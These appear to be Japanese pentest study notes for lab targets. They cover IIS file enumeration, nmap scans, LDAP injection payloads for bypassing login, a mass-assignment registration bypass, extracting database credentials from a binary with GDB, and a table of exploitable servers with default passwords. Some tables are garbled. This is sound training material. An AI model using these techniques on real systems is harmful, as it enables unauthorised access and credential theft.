  |_ Identified files: 3
    |_ CSASPX~1.CS
      |_ Actual extension = .CS
    |_ CSASPX~1.CS??
    |_ TRANSF~1.ASP

ワードリストの作成

egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
コマンド部分 説明
egrep -r
「transf」で始まる行を再帰的に検索
` `
sed 's/[1]*://' 行頭から最初のコロン(:)までを削除(ファイル名除去)
> /tmp/list.txt 結果を /tmp/list.txt に保存

GoBuster を使った列挙

gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp

列挙

Nmapでの確認

nmap -p- -sV -sC --open 10.129.224.91

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-14 19:44 GMT
Nmap scan report for 10.129.224.91
Host is up (0.011s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

LDAP

機能 説明
効率性 軽量なクエリ言語と非正規化データ構造により、高速かつ効率的にディレクトリサービスへ接続できます。
グローバル命名モデル 複数の独立したディレクトリをサポートし、グローバルに一意のエントリ名を実現します。
拡張性と柔軟性 カスタム属性やスキーマを定義できるため、将来的なニーズやローカル要件に対応できます。
互換性 TCP/IP や SSL 上で動作し、プラットフォーム非依存なため、異種OS環境でも利用可能です。
認証機能 シングルサインオンなど、安全に複数リソースへアクセス可能な認証機構を備えています。
LDAPの課題
機能 説明
準拠性 LDAP準拠のサーバーが必要なため、製品やベンダーの選択肢が制限されることがあります。
複雑性 開発者や管理者にとって、設定や運用が難しい場合があり、セキュリティ上のミスを招く可能性があります。
暗号化 通常は通信が暗号化されていないため、盗聴や改ざんのリスクがあります。LDAPS や StartTLS を使うべきです。
インジェクション LDAPインジェクションの脆弱性が存在し、適切な入力検証が行われないと不正アクセスが可能になります。
LDAPの代表的な実装

LDAP と Active Directory の違い

LDAP Active Directory (AD)
ディレクトリサービスへのアクセスや操作方法を定めたプロトコル LDAP を使用してユーザーやコンピュータを管理するディレクトリサービス
クロスプラットフォームでオープンな仕様 Windows 専用で、DNSやKerberosとの統合が必要
柔軟で拡張可能なスキーマを持つ Windows 固有のスキーマが定義されており、変更には注意が必要
様々な認証方式(例:SASL, simple bind)に対応 主に Kerberos を使用、互換性のために NTLM や LDAP over SSL/TLS もサポート
LDAPの仕組み

LDAPがサポートする代表的な操作

LDAPリクエストの構成

  1. セッション接続:クライアントは通常ポート389(または636)でサーバに接続
  2. リクエストタイプ:実行したい操作(検索、追加など)を指定
  3. パラメータ:DN(識別名)、検索条件、属性などを含める
  4. リクエストID:レスポンスと紐付けるための一意の識別子

サーバーレスポンスの構成

ldapsearch コマンド

ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"

このコマンドの意味

dn: uid=jdoe,ou=people,dc=example,dc=com
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
cn: John Doe
sn: Doe
uid: jdoe
mail: john.doe@example.com

result: 0 Success

LDAP インジェクション

テストによく使われる特殊文字

入力 説明
* 任意の文字列にマッチ
() グループ化
` `
& 論理 AND
攻撃例:認証処理のLDAPクエリ
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

パターン1:ユーザー名に * を注入

$username = "*";
$password = "dummy";
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

パターン2:パスワードに * を注入

$username = "dummy";
$password = "*";
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

列挙

nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229

389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

webの一括代入脆弱性

一括代入脆弱性とは?

Ruby on Rails での例

class User < ActiveRecord::Base
  attr_accessible :username, :email
end
{ "user" => { "username" => "hacker", "email" => "hacker@example.com", "admin" => true } }

一括代入脆弱性の悪用:実践例

アプリケーションの /opt/asset-manager/app.py のコードを確認すると以下のようなロジックが記載されている

for i,j,k in cur.execute('select * from users where username=? and password=?',(username,password)):
  if k:
    session['user']=i
    return redirect("/home",code=302)
  else:
    return render_template('login.html',value='Account is pending for approval')
try:
  if request.form['confirmed']:
    cond=True
except:
      cond=False

つまり、Burp Suite などで /register ページの POST リクエストをキャプチャし、confirmed=test を含めることで、このチェックをバイパスできる

サービスに接続するアプリケーションへの攻撃

ELF 実行ファイルの解析

./octopus_checker 

Program had started..
Attempting Connection 
Connecting ... 

The driver reported the following diagnostics whilst running SQLDriverConnect

01000:1:0:[unixODBC][Driver Manager]Can't open lib 'ODBC Driver 17 for SQL Server' : file not found
connected

GDB によるデバッグ

snowyowl644@htb[/htb]$ gdb ./octopus_checker
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disas main

Dump of assembler code for function main:
   0x0000555555555456 <+0>:	endbr64 
   0x000055555555545a <+4>:	push   rbp
   0x000055555555545b <+5>:	mov    rbp,rsp
 
 <SNIP>
 
   0x0000555555555625 <+463>:	call   0x5555555551a0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x000055555555562a <+468>:	mov    rdx,rax
   0x000055555555562d <+471>:	mov    rax,QWORD PTR [rip+0x299c]        # 0x555555557fd0
   0x0000555555555634 <+478>:	mov    rsi,rax
   0x0000555555555637 <+481>:	mov    rdi,rdx
   0x000055555555563a <+484>:	call   0x5555555551c0 <_ZNSolsEPFRSoS_E@plt>
   0x000055555555563f <+489>:	mov    rbx,QWORD PTR [rbp-0x4a8]
   0x0000555555555646 <+496>:	lea    rax,[rbp-0x4b7]
   0x000055555555564d <+503>:	mov    rdi,rax
   0x0000555555555650 <+506>:	call   0x555555555220 <_ZNSaIcEC1Ev@plt>
   0x0000555555555655 <+511>:	lea    rdx,[rbp-0x4b7]
   0x000055555555565c <+518>:	lea    rax,[rbp-0x4a0]
   0x0000555555555663 <+525>:	lea    rsi,[rip+0xa34]        # 0x55555555609e
   0x000055555555566a <+532>:	mov    rdi,rax
   0x000055555555566d <+535>:	call   0x5555555551f0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_@plt>
   0x0000555555555672 <+540>:	lea    rax,[rbp-0x4a0]
   0x0000555555555679 <+547>:	mov    edx,0x2
   0x000055555555567e <+552>:	mov    rsi,rbx
   0x0000555555555681 <+555>:	mov    rdi,rax
   0x0000555555555684 <+558>:	call   0x555555555329 <_Z13extract_errorNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEPvs>
   0x0000555555555689 <+563>:	lea    rax,[rbp-0x4a0]
   0x0000555555555690 <+570>:	mov    rdi,rax
   0x0000555555555693 <+573>:	call   0x555555555160 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@plt>
   0x0000555555555698 <+578>:	lea    rax,[rbp-0x4b7]
   0x000055555555569f <+585>:	mov    rdi,rax
   0x00005555555556a2 <+588>:	call   0x5555555551d0 <_ZNSaIcED1Ev@plt>
   0x00005555555556a7 <+593>:	cmp    WORD PTR [rbp-0x4b2],0x0

<SNIP>

   0x0000555555555761 <+779>:	mov    rbx,QWORD PTR [rbp-0x8]
   0x0000555555555765 <+783>:	leave  
   0x0000555555555766 <+784>:	ret    
End of assembler dump.
   0x00005555555555ff <+425>:	mov    esi,0x0
   0x0000555555555604 <+430>:	mov    rdi,rax
   0x0000555555555607 <+433>:	call   0x5555555551b0 <SQLDriverConnect@plt>
   0x000055555555560c <+438>:	add    rsp,0x10
   0x0000555555555610 <+442>:	mov    WORD PTR [rbp-0x4b4],ax

ここでブレークポイントを設定し、再度プログラムを実行すると、RDXレジスタにSQL接続文字列が格納されていることが明らかになります。そこにはローカルデータベースの認証情報も含まれている

gdb-peda$ b *0x5555555551b0

Breakpoint 1 at 0x5555555551b0


gdb-peda$ run**

Starting program: /htb/rollout/octopus_checker 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program had started..
Attempting Connection 
[----------------------------------registers-----------------------------------]
RAX: 0x55555556c4f0 --> 0x4b5a ('ZK')
RBX: 0x0 
RCX: 0xfffffffd 
RDX: 0x7fffffffda70 ("DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost, 1401;UID=username;PWD=password;")
RSI: 0x0 
RDI: 0x55555556c4f0 --> 0x4b5a ('ZK')

<SNIP>

つまり、RDXの中身に完全な接続文字列(ドライバ、サーバー名、ポート番号、ユーザー名、パスワード)が含まれていたことが確認できた

DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;

DLLファイルの解析

DLLのメタデータ確認

C:\> Get-FileMetaData .\MultimasterAPI.dll

<SNIP>
M .NETFramework,Version=v4.6.1 TFrameworkDisplayName.NET Framework 4.6.1    api/getColleagues        ! htt
p://localhost:8081*POST         Ò^         øJ  ø,  RSDSœ»¡ÍuqœK£"Y¿bˆ   C:\Users\Hazard\Desktop\Stuff\Multimast
<SNIP>

出力から

dnSpyでも.NETアセンブリのソースコードを確認
dnSpy というデバッガ兼 .NETアセンブリエディタを使用すると、このDLLのソースコードを直接読み取ることができる
解析対象:MultimasterAPI.Controllers -> ColleagueController

その他注目すべきアプリケーション

アプリケーション 悪用のポイント
Axis2 Tomcat同様に悪用可能で、Tomcat上に動いていることも多い。TomcatでRCEが取れなければ、Axis2のデフォルト認証情報を試してみる価値がある。AARファイルをアップロードしてWebShell化できる。Metasploitモジュールあり。
Websphere 多数の既知の脆弱性あり。デフォルト認証 (system:manager) で管理画面に入れたら、WARファイルのデプロイでRCE可能。
Elasticsearch 古いバージョンに脆弱性があり、企業の使い残しで見つかることも。HTBの「Haystack」で登場。
Zabbix SQLi、認証バイパス、XSS、LDAPパス漏洩、RCEなど多数の脆弱性あり。Zabbix APIを使ってRCEを取る例もHTB「Zipper」で紹介。
Nagios RCE、特権昇格、SQLi、コードインジェクション、XSSなど多岐にわたる問題あり。nagiosadmin:PASSW0RD のデフォルト認証もチェック必須。
WebLogic Java EEのアプリケーションサーバー。190件以上のCVEあり。2007年~2021年にかけて未認証RCEが多く報告されており、特にJavaのデシリアライズ脆弱性が多い。
Wiki / Intranet MediaWiki、SharePoint、カスタムイントラネットなど。ドキュメント検索から資格情報が見つかることもあり。
DotNetNuke (DNN) .NETベースのCMS。認証バイパス、ディレクトリトラバーサル、XSS、ファイルアップロードバイパスなど深刻な脆弱性が複数あり。
vCenter ESXiを管理する大規模環境でよく使われる。認証情報の漏洩、CVE-2021-22005(OVAファイルの未認証アップロード)など。特にWindows版ではSYSTEMやドメイン管理者権限で動いていることもあり、侵入口として非常に有用。

  1. ^: ↩︎